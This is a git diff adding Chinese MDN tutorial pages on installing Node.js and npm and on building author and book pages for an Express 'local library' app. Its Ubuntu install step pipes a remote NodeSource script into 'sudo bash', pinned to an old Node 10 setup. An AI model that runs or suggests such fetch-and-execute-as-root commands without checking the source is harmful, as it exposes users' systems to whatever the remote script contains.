<a href="https://git-scm.com/">Git</a>)。这里假定你已经安装了这些工具(尤其是文本编辑器)。</p> + +<h3 id="支持哪些操作系统?">支持哪些操作系统?</h3> + +<p>Node 可以在 Windows、macOS、Linux 的诸多发行版本或 Docker 等环境运行(完整列表见 Node <a href="https://nodejs.org/zh-cn/download/">下载页面</a>)。几乎所有的个人电脑都具备 Node 开发所需性能。Express 运行在 Node 环境中,因此可运行 Node 的平台均可运行 Express。</p> + +<p>本文将介绍 Windows、macOS 和 Ubuntu Linux 上的安装步骤。</p> + +<h3 id="应该选择_NodeExpress_的哪个版本?">应该选择 Node/Express 的哪个版本?</h3> + +<p>Node 有许多 <a href="https://nodejs.org/zh-cn/blog/release/">发行版本</a>,新版包含 bug 修复、对最新版本 ECMAScript 标准的支持,以及 API 的改进。</p> + +<p>通常应该选择最新的 LTS(Long-term supported,长期支持版)发行版,因为它比当前发布版(current)更稳定。当前发布版包含最新的特性(维护中),如果需要 LTS 版本中没有提供的特征,那么可以选择它。</p> + +<p>Express 应选用最新版本。</p> + +<h3 id="数据库和其它依赖该如何选择?">数据库和其它依赖该如何选择?</h3> + +<p>其它依赖(例如数据库驱动程序、模板引擎、身份认证引擎等)是应用的一部分,使用 NPM 将它们引入到应用环境中。稍后进行讨论。</p> + +<h2 id="安装_Node">安装 Node</h2> + +<p>先在操作系统上安装 Node.js 和 NPM 后才可使用 Express。接下来将介绍如何最简便地在 Ubuntu 18.04、macOS Mojave 以及 Windows 10 上安装 Node.js 最新的 LTS 版本。.</p> + +<div class="note"> +<p><strong>提示:</strong>以下内容将介绍在上述三种 OS 上安装 Node 和 NPM 的最简便方法。对于其它操作系统,以及更多的安装方法,可以参考 <a href="https://nodejs.org/zh-cn/download/package-manager/">通过包管理器方式安装 Node.js</a> (nodejs.org).</p> +</div> + +<h3 id="Windows_和_macOS">Windows 和 macOS</h3> + +<p>在 Windows 和 macOS 上安装 Node 和 NPM 非常简单明了,使用现成的安装包就行了:</p> + +<ol> + <li>下载安装包: + <ol> + <li>访问 <a href="https://nodejs.org/zh-cn/">https://nodejs.org/zh-cn/</a></li> + <li>左侧按钮上写着“推荐多数用户使用(LTS)”,点击下载。</li> + </ol> + </li> + <li>双击下载的安装包,按照提示即可安装。</li> +</ol> + +<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3> + +<p>安装 Node 最新的 LTS 版本的最简便方法就是使用 <a href="https://nodejs.org/zh-cn/download/package-manager/#debian-and-ubuntu-based-linux-distributions-enterprise-linux-fedora-and-snap-packages">包管理器</a>,可以直接从 Ubuntu 二进制发行仓库中下载。通过在终端运行以下两行简单的命令就可以做到:</p> + +<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs</code> +</pre> + +<div class="warning"> +<p><strong>警告:</strong>直接从 Ubuntu 默认仓库中下载的 Node 是 8.x 版本的。</p> +</div> + +<ol> +</ol> + +<h3 id="测试_Node.js_和_NPM_是否安装成功">测试 Node.js 和 NPM 是否安装成功</h3> + +<p>检查 Node 是否成功安装的最简单方法就是在终端(或命令行)中运行 "<code>version</code>" 命令,看是否返回版本号字符串:</p> + +<pre class="brush: bash">$ node -v +v10.15.0</pre> + +<p>NPM 应该与 Node.js 一同成功安装,可以使用同样的方法来测试一下:</p> + +<pre class="brush: bash">$ npm -v +6.7.0</pre> + +<p>下面的测试也许会带来小小激动:创建一个非常基础的“纯 Node”服务器,在浏览器中访问正确的 URL 地址时将直接打印 "Hello world":</p> + +<ol> + <li>以下代码使用了纯 Node 的特性(与 Express 无关)和一些 ES6 的语法,把它复制到 <strong>hellonode.js</strong> 文件中: + + <pre class="brush: js">// 加载 HTTP 模块 +const http = require("http"); +const hostname = '127.0.0.1'; +const port = 3000; + +// 创建 HTTP 服务器 +const server = http.createServer((req, res) => { + + // 用 HTTP 状态码和内容类型(Content-Type)设置 HTTP 响应头 + res.statusCode = 200; + res.setHeader('Content-Type', 'text/plain'); + + // 发送响应体 + res.end('Hello World\n'); +}); + +// 监听 3000 端口的请求,注册一个回调函数记录监听开始 +server.listen(port, hostname, () => { + console.log(`服务器运行于 http://${hostname}:${port}/`); +}); +</pre> + + <p>代码导入了 <code>"http"</code> 模块,并用它(<code>createServer()</code>)创建了一个服务器来监听 3000 端口的 HTTP 请求。随后在控制台打印一条信息,提示测试服务器的正确 URL。<code>createServer()</code> 函数接受一个回调函数作为参数,并在接收 HTTP 请求后进行回调。直接返回了 HTTP 状态码 200 ("<code>OK</code>"),以及纯文本信息 "Hello World"。</p> + + <div class="note"> + <p><strong>注:</strong>现在看不懂这些代码请不要担心,开始使用 Express 后候会进行更加详细的解释。</p> + </div> + </li> + <li>在命令行工具中进入 hellonode.js 文件所在的目录,输入“node + 文件名”并运行,服务器就启动了: + <pre class="brush: bash">$ node hellonode.js +服务器运行于 http://127.0.0.1:3000/ +</pre> + </li> + <li>在浏览器中访问这个 URL(<a href="http://127.0.0.1:8000/">http://127.0.0.1:3000/</a>),如果一切正常,浏览器会直接显示出 "Hello world" 字符串。</li> +</ol> + +<h2 id="使用_NPM">使用 NPM</h2> + +<p>构建 Node 应用过程中,<a href="https://docs.npmjs.com/">NPM</a> 是除了 Node 本身之外最重要的工具。可用于获取应用开发、测试以及生产所需的所有包(JavaScript 库)。也可运行开发过程中使用的测试单元和工具。</p> + +<div class="note"> +<p><strong>注:</strong>以 Node 的角度来看,Express 只是一个用 NPM 安装、供人使用的包而已。</p> +</div> + +<p>可以用 NPM 手动逐个安装所需包。但通常可用 <a href="https://docs.npmjs.com/files/package.json">package.json</a> 文件来管理依赖。把每个<font><font>依赖以一个</font></font> JavaScript “包”的形式(其中<font><font>包括名称、版本、描述,初始执行文件、生产依赖,开发依赖、支持的 </font></font><em><font><font>Node </font></font></em><font><font>版本,等等</font></font>)罗<font><font>列在这个文件中。package.json 文件包含 NPM 获取和运行应用程序所需的所有内容(在编写可重用的库时,可以用它把包上传到 NPM 仓库中供其他用户使用)。</font></font></p> + +<h3 id="添加依赖项">添加依赖项</h3> + +<p>下面介绍用 NPM 下载包、将包保存进工程依赖树,以及在 Node 应用中调用包的方法和步骤。</p> + +<div class="note"> +<p><strong>注:</strong>现在来讲解获取和安装 Express 包的步骤。稍后解释为什么可以直接对 Express 包(乃至其它包)使用 <strong>Express 应用生成器</strong>。这段对理解 NPM 的工作原理和应用生成器的工作机制有一定的帮助。</p> +</div> + +<ol> + <li>首先为新应用创建一个目录,并进入它: + <pre class="brush: bash">$ mkdir myapp +$ cd myapp</pre> + </li> + <li>然后,使用 NPM 的 init 命令为应用创建一个 <strong>package.json</strong> 文件。这个命令将请求一系列的信息,包括应用的名称和版本,程序初始进入点的文件名(默认为 <strong>index.js</strong>)。现在先接受默认信息即可: + <pre class="brush: bash">$ npm init</pre> + + <p><strong>package.json</strong> 文件中保存了所接受的默认信息,最后一条是许可证信息:</p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC" +} +</pre> + </li> + <li>接下来在 <strong>myapp</strong> 目录中安装 Express,用下面的命令将 Express 保存在 <strong>package.json</strong> 文件中的依赖表里: + <pre class="brush: bash">$ npm install express</pre> + + <p>此时 <strong>package.json</strong> 文件的底部会出现依赖列表("dependencies"),其中包含 Express:</p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", +<strong> "dependencies": { + "express": "^4.16.4" + }</strong> +} +</pre> + </li> + <li>可以调用 <code>require()</code> 函数来使用库: + <pre><code><strong>const express = require('express'); +</strong>const app = express(); + +app.get('/', (req, res) => { + res.send('Hello World!') +}); + +app.listen(8000, () => { + console.log('示例程序正在监听 8000 端口!') +});</code> +</pre> + + <p>以上代码展示了一个最简单的 "HelloWorld" Express 应用。它导入了 "express" 模块并用它创建了一个服务器(app)来监听 8000 端口,并且在控制台打印了一条信息以提示测试服务器的正确 URL。<code>app.get()</code> 函数只响应对特定路径(<code>'/'</code>)的 HTTP <code>GET</code> 请求,此处的响应就是发送 "Hello World!"。<br> + <br> + 在 myapp 应用的根目录下新建一个 <strong>index.js</strong> 文件,将上述代码粘贴进来并保存。</p> + </li> + <li>在命令行输入 node + 文件名 即可启动服务器: + <pre class="brush: bash">$ node index.js +<code>示例程序正在监听 8000 端口!</code> +</pre> + </li> + <li>在浏览器中访问这个 URL(<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>),如果一切正常,浏览器会直接显示出 "Hello world!" 字符串。</li> +</ol> + +<h3 id="开发依赖(Development_dependencies)">开发依赖(Development dependencies)</h3> + +<p>如果一个依赖只在开发过程中用到,应该将其保存为“开发依赖”(这样,包的用户便无需在生产环境中安装它们)。比如,如果要使用 <a href="http://eslint.org/">eslint</a>(一款流行的 JavaScript lint 工具)可以这样调用 NPM:</p> + +<pre class="brush: bash"><code>$ npm install eslint --save-dev</code></pre> + +<p>当前应用的 <strong>package.json </strong>文件中将自动添加以下项目:</p> + +<pre class="brush: js"> "devDependencies": { + "eslint": "^5.12.0" + } +</pre> + +<div class="note"> +<p><strong>注:</strong>"<a href="https://zh.wikipedia.org/wiki/Lint">lint</a>" 是用于对软件进行静态分析的工具,可以发现并报告软件是否遵循某些最佳编程惯例。</p> +</div> + +<h3 id="运行任务">运行任务</h3> + +<p>在 <strong>package.json</strong> 中,除了定义和获取依赖,还可以定义脚本,然后通过 NPM 的 <a href="https://docs.npmjs.com/cli/run-script">run-script</a> 命令来运行。这个用法普遍用于自动运行测试单元或部分应用,也可用于构建工具链(比如运行工具来压缩 JavaScript 文件或图片,lint 或分析代码,等等)。</p> + +<div class="note"> +<p><strong>注:</strong><a href="http://gulpjs.com/">Gulp</a> 和 <a href="http://gruntjs.com/">Grunt</a> 等任务运行器可用于运行测试单元或其它外部工具。</p> +</div> + +<p>比如,可以在 <strong>package.json</strong> 文件中添加以下内容来定义一个脚本,从而对上文的代码运行 eslint(假设应用代码在 /src/js 文件夹下):</p> + +<pre class="brush: js">"scripts": { + ... + "lint": "eslint src/js" + ... +} +</pre> + +<p>深入解释一下,eslint src/js 命令可以在终端/命令行对应用目录下的 src/js 目录中的 JavaScript 文件运行 eslint。把上面一段脚本添加进应用的 package.json 中还可以为此命令提供一个快捷方式—— lint。</p> + +<p>然后就可以用 NPM 这样运行 eslint 了:</p> + +<pre class="brush: bash"><code>$ npm run-script lint</code></pre> + +<p>或使用别名:</p> + +<pre class="brush: bash"><code>$ npm run lint</code></pre> + +<p>这个示例看上去并没有让原始命令简洁多少,但在 NPM 脚本中可以加入更长的命令,甚至是多命令链。比如可以让单一的 NPM 脚本来一次运行所有的测试单元。</p> + +<h2 id="安装_Express_应用生成器">安装 Express 应用生成器</h2> + +<p><a href="https://expressjs.com/en/starter/generator.html">Express 应用生成器</a> 工具可以生成一个 Express 应用的“框架”。可以用 NPM 这样安装它(-g 参数可以把该工具全局安装,那样就可以在任意应用中使用了):</p> + +<pre class="brush: bash"><code>$ npm install express-generator -g</code></pre> + +<p>进入应用目录,运行以下命令,即可创建一个名为 "helloworld" 的 Express 应用:</p> + +<pre class="brush: bash">$ express helloworld</pre> + +<div class="note"> +<p><strong>注:</strong>也可以指定模板库来使用其它丰富的设置。可通过 help 命令来查看所有选项:</p> + +<pre class="brush: bash">$ express --help +</pre> +</div> + +<p>NPM 将在当前位置的子目录中创建新的 Express 应用,可以在控制台看到构建的过程。在完成时,NPM 会提示你需要安装哪些 Node 依赖,以及如何开启应用。</p> + +<div class="note"> +<p>新应用的根目录有一个 <strong>package.json</strong> 文件。可以打开它看看都安装了哪些依赖,其中可以看到 Express 和 Jade 模板库:</p> + +<pre class="brush: js">{ + "name": "helloworld", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + }, + "dependencies": { + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.16.0", + "http-errors": "~1.6.2", + "jade": "~1.11.0", + "morgan": "~1.9.0" + } +}</pre> +</div> + +<p>用下列命令可为 helloworld 应用安装所有依赖:</p> + +<pre class="brush: bash">$ cd helloworld +$ npm install +</pre> + +<p>然后运行这个应用(Windows 环境):</p> + +<pre class="brush: bash">> SET DEBUG=helloworld:* & npm start +</pre> + +<p>(Linux/macOS 环境):</p> + +<pre class="brush: bash">$ DEBUG=helloworld:* npm start</pre> + +<p>DEBUG 命令可以展示应用运行时返回的有用的日志信息,如下所示:</p> + +<p><img alt="设置 DEBUG 命令显示的日志信息" src="https://mdn.mozillademos.org/files/16404/debug.png"></p> + +<p>打开浏览器并访问 <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a> 将看到 Express 的默认欢迎页面。</p> + +<p><img alt="生成应用的默认主页" src="https://mdn.mozillademos.org/files/16405/express.png"></p> + +<p>稍后在创建应用框架一节中将讨论生成应用的具体细节。</p> + +<ul> +</ul> + +<h2 id="小结">小结</h2> + +<p>现在 Node 开发环境已经配置好了,可以用于创建 Express 应用了。你还了解了用 NPM 导入 Express 的步骤,以及如何创建(使用 Express 应用生成器)和运行 web 应用。</p> + +<p>下一节将开始用上述的环境和工具通过实战逐步搭建一个完整的 web 应用。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="https://nodejs.org/zh-cn/download/">Node.js 下载页面</a> (nodejs.org 官方中文页面)</li> + <li><a href="https://nodejs.org/zh-cn/download/package-manager/">通过包管理器方式安装 Node.js</a> (nodejs.org 官方中文页面)</li> + <li><a href="http://www.expressjs.com.cn/starter/installing.html">安装 Express</a> (expressjs.com.cn 中文镜像页面)</li> + <li><a href="http://www.expressjs.com.cn/starter/generator.html">Express 应用程序生成器</a> (expressjs.com.cn 中文镜像页面)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">设置 Node(Express)开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程:本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2:创建站点框架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3:使用数据库(Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4:路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5:显示图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6:使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7:部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html new file mode 100644 index 0000000000..c62c5fbbec --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html @@ -0,0 +1,89 @@ +--- +title: 作者细节页面 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page +--- +<p>作者细节页面需要呈现指定作者<code>Author</code>的信息,使用 <code>_id</code> 字段的值(自动产生)识别,接着是这个作者的所有书本物件<code>Book</code>的列表。</p> + +<h2 id="控制器">控制器</h2> + +<p>打开 <strong>/controllers/authorController.js</strong>。</p> + +<p>在档案最上方,加入底下几行,引入 async 和 Book 模组(作者细节页面需要它们)。</p> + +<pre class="brush: js">var async = require('async'); +var Book = require('../models/book');</pre> + +<p>找到 exported <code>author_detail()</code> 控制器方法,并用底下代码置换。</p> + +<pre class="brush: js">// Display detail page for a specific Author. +exports.author_detail = function(req, res, next) { + +<strong> async.parallel({ + author: function(callback) { + Author.findById(req.params.id) + .exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.params.id },'title summary') + .exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } // Error in API usage. + if (results.author==null) { // No results. + var err = new Error('Author not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('author_detail', { title: 'Author Detail', author: results.author, author_books: results.authors_books } ); + });</strong> + +}; +</pre> + +<p>此处的控制器方法使用 <code>async.parallel()</code>,用平行的方式,查询作者 <code>Author</code>和相应的书本实例,并附加上绘制本页面的回调,如果 2 个要求都成功完成,就运行回调。这个方式,就跟前面的种类细节页面所说明的完全相同。</p> + +<h2 id="视图">视图</h2> + +<p>创建 <strong>/views/author_detail.pug</strong> ,並複制貼上底下的文字。</p> + +<pre class="brush: js">extends layout + +block content + +<strong> h1 Author: #{author.name}</strong> + p #{author.date_of_birth} - #{author.date_of_death} + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in author_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p This author has no books. +</pre> + +<p>本模板里的所有事物,都在先前的章节演示过了。</p> + +<h2 id="它看起來像是">它看起來像是?</h2> + +<p>运行本应用,并打开浏览器访问 <a href="http://localhost:3000/">http://localhost:3000/</a>。选择All Authors 连结,然后选择一个作者。如果每个东西都设定正确了,你的网站看起来应该会像底下的截图。</p> + +<p><img alt="Author Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14466/LocalLibary_Express_Author_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 422px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 作者的出生与死亡日期的外观很丑!我们将在本文最后的自我挑战处理它。</p> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 的下一个部分 : <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge"> 书本实例细节页面和自我挑战 </a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html new file mode 100644 index 0000000000..055ae91e1c --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html @@ -0,0 +1,89 @@ +--- +title: 作者清单面页、分类清单页面、与自我挑战 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +--- +<p>作者列表页面,需要呈现数据库中所有作者的列表,有每位作者的名字,并连结到作者详细内容页面。出生与死亡日期应该在名字后面,并且在同一列。</p> + +<h2 class="highlight-spanned" id="控制器"><span class="highlight-span">控制器</span></h2> + +<p>作者列表控制器函数,需要获取所有作者实例的列表,然后将这些实例传递给模板进行渲染。</p> + +<p>打开<strong>/controllers/authorController.js</strong>。在文件顶部附近,找到导出的<code>author_list()</code> 控制器方法,并将其替换为以下代码(更改后的代码以粗体显示)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Authors.</span> +exports<span class="punctuation token">.</span>author_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">sort</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="punctuation token">[</span><span class="string token">'family_name'</span><span class="punctuation token">,</span> <span class="string token">'ascending'</span><span class="punctuation token">]</span><span class="punctuation token">]</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_authors<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'author_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Author List'</span><span class="punctuation token">,</span> author_list<span class="punctuation token">:</span> list_authors <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>该方法使用模型的 <code>find()</code>, <code>sort()</code> 和 <code>exec()</code> 函数,以返回所有<code>Author</code>对象,并按<code>family_name</code>的字母顺排列。传递给<code>exec()</code>方法的回调被调用,并将传入任何错误(或<code>null</code>)作为第一个参数,或者成功时,传入所有作者列表。如果出现错误,则调用带有错误值的下一个中间件函数,如果没有错误,则呈现<strong> author_list</strong>(.pug)模板,传递页面标题<code>title,</code>和作者列表(<code>author_list</code>)。</p> + +<h2 class="highlight-spanned" id="视图">视图</h2> + +<p>打开 <strong>/views/author_list.pug </strong>,用底下文字取代它的内容。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each author <span class="keyword token">in</span> author_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>author<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_birth<span class="punctuation token">}</span> <span class="operator token">-</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_death<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no authors<span class="punctuation token">.</span></code></pre> + +<p>如同我们其它的模板,上面视图也依照着同样的模式。</p> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用,并打开浏览器访问 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a> 。然后选择所有作者 All authors 连结。如果每个东西都设定正确了,页面看起来应该像底下的截图。</p> + +<p><img alt="Author List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14468/LocalLibary_Express_Author_List.png" style="display: block; height: 453px; margin: 0px auto; width: 1200px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 作者生命日期的外观是丑陋的!您可以使用我们用于<code>BookInstance</code> 列表的<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data#date_formatting">相同方法</a>(将生命周期的虚拟属性,添加到 <code>Author</code> 模型),来改进此方法。</p> + +<p>但是,这次缺少日期,除非严格模式生效,否则将忽略对不存在的属性的引用。<code>moment()</code>返回当前时间,并且您不希望将缺少的日期格式化为就像今天一样。</p> + +<p>解决此问题的一种方法,是定义返回格式化日期的函数内容,以便返回空字符串,除非日期实际存在。例如:</p> + +<p><code>return this.date_of_birth ? moment(this.date_of_birth).format('YYYY-MM-DD') : '';</code></p> +</div> + +<h2 id="种类列表页面—自我挑战!Edit">种类列表页面—自我挑战!<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data$edit#Genre_list_page—challenge!" rel="nofollow, noindex"><span>Edit</span></a></h2> + +<p>在这个部分,你应该实作你自己的种类列表页面。该页面应显示数据库中所有种类的列表,每个种类都链接到其关联的详细信息页面。预期结果的屏幕截图如下所示。</p> + +<p><img alt="Genre List - Express Local Library site" src="https://mdn.mozillademos.org/files/14460/LocalLibary_Express_Genre_List.png" style="border-style: solid; border-width: 1px; display: block; height: 346px; margin: 0px auto; width: 600px;"></p> + +<p>种类列表控制器功能,需要获取所有种类实例的列表,然后将这些实例传递给模板进行渲染。</p> + +<ol> + <li>您需要在 <strong>/controllers/genreController.js</strong> 中编辑<code>genre_list()</code>。</li> + <li>实现方式几乎与<code>author_list()</code>控制器完全相同。 + <ul> + <li>按名称以上升顺序,对结果进行排序。</li> + </ul> + </li> + <li>要呈现的模板,应命名为 <strong>genre_list.pug</strong>。</li> + <li>要呈现的模板应该传递变量<code>title</code>('Genre List')和种类列表<code>genre_list</code>(从<code>Genre.find()</code>回调返回)。</li> + <li>该视图应与上面的屏幕截图/要求相匹配(这应该与作者列表视图具有非常相似的结构/格式,除了种类没有日期)。</li> +</ol> + +<h2 id="下一步">下一步</h2> + +<p>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></p> + +<p>继续教程 5 下一個部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">种类细节页面</a></p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html new file mode 100644 index 0000000000..775bcd387f --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html @@ -0,0 +1,112 @@ +--- +title: 书本详细信息页面 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page +--- +<p>书本细节页面需要呈现一本指定书本(<code>Book</code>)的信息, 使用它的 <code>_id</code> 字段值(自动产生)做为识别,接着是图书馆中书本实例(<code>BookInstance</code>)的信息。无论我们在哪里呈现一个作者、种类、或书本实例,都应该连结到它的细节页面。</p> + +<h2 id="控制器">控制器</h2> + +<p>打开 <strong>/controllers/bookController.js</strong>. ,找到 exported <code>book_detail()</code> 控制器方法,用底下的代码置换。</p> + +<pre class="brush: js">// Display detail page for a specific book. +exports.book_detail = function(req, res, next) { + +<strong> async.parallel({ + book: function(callback) { + + Book.findById(req.params.id) + .populate('author') + .populate('genre') + .exec(callback); + }, + book_instance: function(callback) { + + BookInstance.find({ 'book': req.params.id }) + .exec(callback); + }, + }, function(err, results) { + if (err) { return next(err); } + if (results.book==null) { // No results. + var err = new Error('Book not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('book_detail', { title: 'Title', book: results.book, book_instances: results.book_instance } ); + });</strong> + +}; + +</pre> + +<div class="note"> +<p><strong>注意:</strong> 我们不需要用 require 导入 async 和 BookInstance,当我们实作主页面控制器的时候,我们就已经引入这些模组。</p> +</div> + +<p>此处的控制器方法使用 <code>async.parallel()</code>,用平行的方式找到 <code>Book</code> 以及它的相应复本 (<code>BookInstances</code>) 。这样的处理方式,就跟上面的 种类细节页面 所说明的完全相同。</p> + +<h2 id="视图">视图</h2> + +<p>创建 <strong>/views/book_detail.pug</strong> 并加入底下文字。</p> + +<pre class="brush: js">extends layout + +block content + h1 #{title}: #{book.title} + + p #[strong Author:] + a(href=book.author.url) #{book.author.name} + p #[strong Summary:] #{book.summary} + p #[strong ISBN:] #{book.isbn} + p #[strong Genre:]&nbsp; + each val, index in book.genre + a(href=val.url) #{val.name} + if index < book.genre.length - 1 + |, + + div(style='margin-left:20px;margin-top:20px') + h4 Copies + + each val in book_instances + hr + if val.status=='Available' + <strong>p.text-success</strong> #{val.status} + else if val.status=='Maintenance' + p.text-danger #{val.status} + else + p.text-warning #{val.status} + p #[strong Imprint:] #{val.imprint} + if val.status!='Available' + p #[strong Due back:] #{val.due_back} + p #[strong Id:]&nbsp; + a(href=val.url) #{val._id} + + else + p There are no copies of this book in the library. +</pre> + +<p>在这个模板里,几乎每个东西都在先前的章节演示过了。</p> + +<div class="note"> +<p><strong>注意:</strong> 与该书相关的種類列表,在模板中的实作,如以下代碼。除了最后一本书之外,在与本书相关的每个种類之后,都会添加一个逗号。</p> + +<pre> p #[strong Genre:] + each val, index in book.genre + a(href=val.url) #{val.name} + if index < book.genre.length - 1 + |, </pre> +</div> + +<h2 id="它看起來像是">它看起來像是?</h2> + +<p>运行本应用,并打开浏览器访问 <a href="http://localhost:3000/">http://localhost:3000/</a>。选择 All books 连结,然后选择其中一本书。如果每个东西都设定正确了,你的页面看起来应该像是底下的截图。</p> + +<p><img alt="Book Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14470/LocalLibary_Express_Book_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 616px; margin: 0px auto; width: 1200px;"></p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 的下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page">作者细节页面</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html new file mode 100644 index 0000000000..bb76f61d50 